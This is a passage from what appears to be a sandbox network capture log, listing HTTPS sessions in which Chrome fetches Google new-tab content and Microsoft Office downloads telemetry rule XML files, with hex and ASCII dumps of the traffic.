Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-08 16:45:20 UTC	124	IN	Data Raw: 33 34 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 63 64 6f 6e 61 6c 64 5c 75 30 30 32 37 73 20 69 73 20 62 72 69 6e 67 69 6e 67 20 62 61 63 6b 20 74 68 65 20 73 6e 61 63 6b 20 77 72 61 70 20 61 20 62 65 6c 6f 76 65 64 20 6d 65 6e 75 20 69 74 65 6d 20 69 6e 20 32 30 32 35 22 2c 22 61 69 72 20 6a 6f 72 64 61 6e 20 31 31 20 67 61 6d 6d 61 20 62 6c 75 65 22 2c 22 72 79 61 Data Ascii: 345)]}'["",["mcdonald\u0027s is bringing back the snack wrap a beloved menu item in 2025","air jordan 11 gamma blue","rya
2024-12-08 16:45:20 UTC	720	IN	Data Raw: 6e 20 64 61 6d 72 6f 6e 20 74 65 6e 6e 65 73 73 65 65 22 2c 22 6e 6f 74 72 65 20 64 61 6d 65 20 63 61 74 68 65 64 72 61 6c 20 70 61 72 69 73 20 72 65 6f 70 65 6e 69 6e 67 22 2c 22 6e 65 77 20 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 64 65 63 65 6d 62 65 72 20 38 22 2c 22 73 74 20 6e 69 63 68 6f 6c 61 73 20 74 6f 6d 62 20 74 75 72 6b 65 79 22 2c 22 77 6e 62 61 20 65 78 70 61 6e 73 69 6f 6e 20 64 72 61 66 74 20 76 61 6c 6b 79 72 69 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f Data Ascii: n damron tennessee","notre dame cathedral paris reopening","new nintendo switch","nyt connections hints december 8","st nicholas tomb turkey","wnba expansion draft valkyries"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"go
2024-12-08 16:45:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49727	142.250.181.100	443	7856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:19 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49730	142.250.181.100	443	7856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:19 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-08 16:45:20 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 08 Dec 2024 16:45:20 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-08 16:45:20 UTC	372	IN	Data Raw: 32 37 32 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 272f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-08 16:45:20 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-08 16:45:20 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-08 16:45:20 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-08 16:45:20 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-08 16:45:20 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 32 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700312,3700949,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-08 16:45:20 UTC	1390	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor
2024-12-08 16:45:20 UTC	1327	IN	Data Raw: 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 Data Ascii: rn a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003
2024-12-08 16:45:20 UTC	405	IN	Data Raw: 31 38 65 0d 0a 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 Data Ascii: 18eme?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab
2024-12-08 16:45:20 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e Data Ascii: 8000sOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49728	142.250.181.100	443	7856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:19 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-08 16:45:20 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 08 Dec 2024 16:45:20 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-08 16:45:20 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-08 16:45:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:20 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 682fb484-401e-0083-5904-48075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164520Z-r1cf579d778mvsklhC1EWRkavg0000000640000000004r1u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:20 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3fcfbabf-e01e-0052-0903-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164520Z-r1cf579d778lntp7hC1EWR9gg4000000057g000000008y3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:20 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: e3724c3d-001e-0066-1678-49561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164520Z-r1cf579d7782v2q5hC1EWRt9bw00000000n0000000000syg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
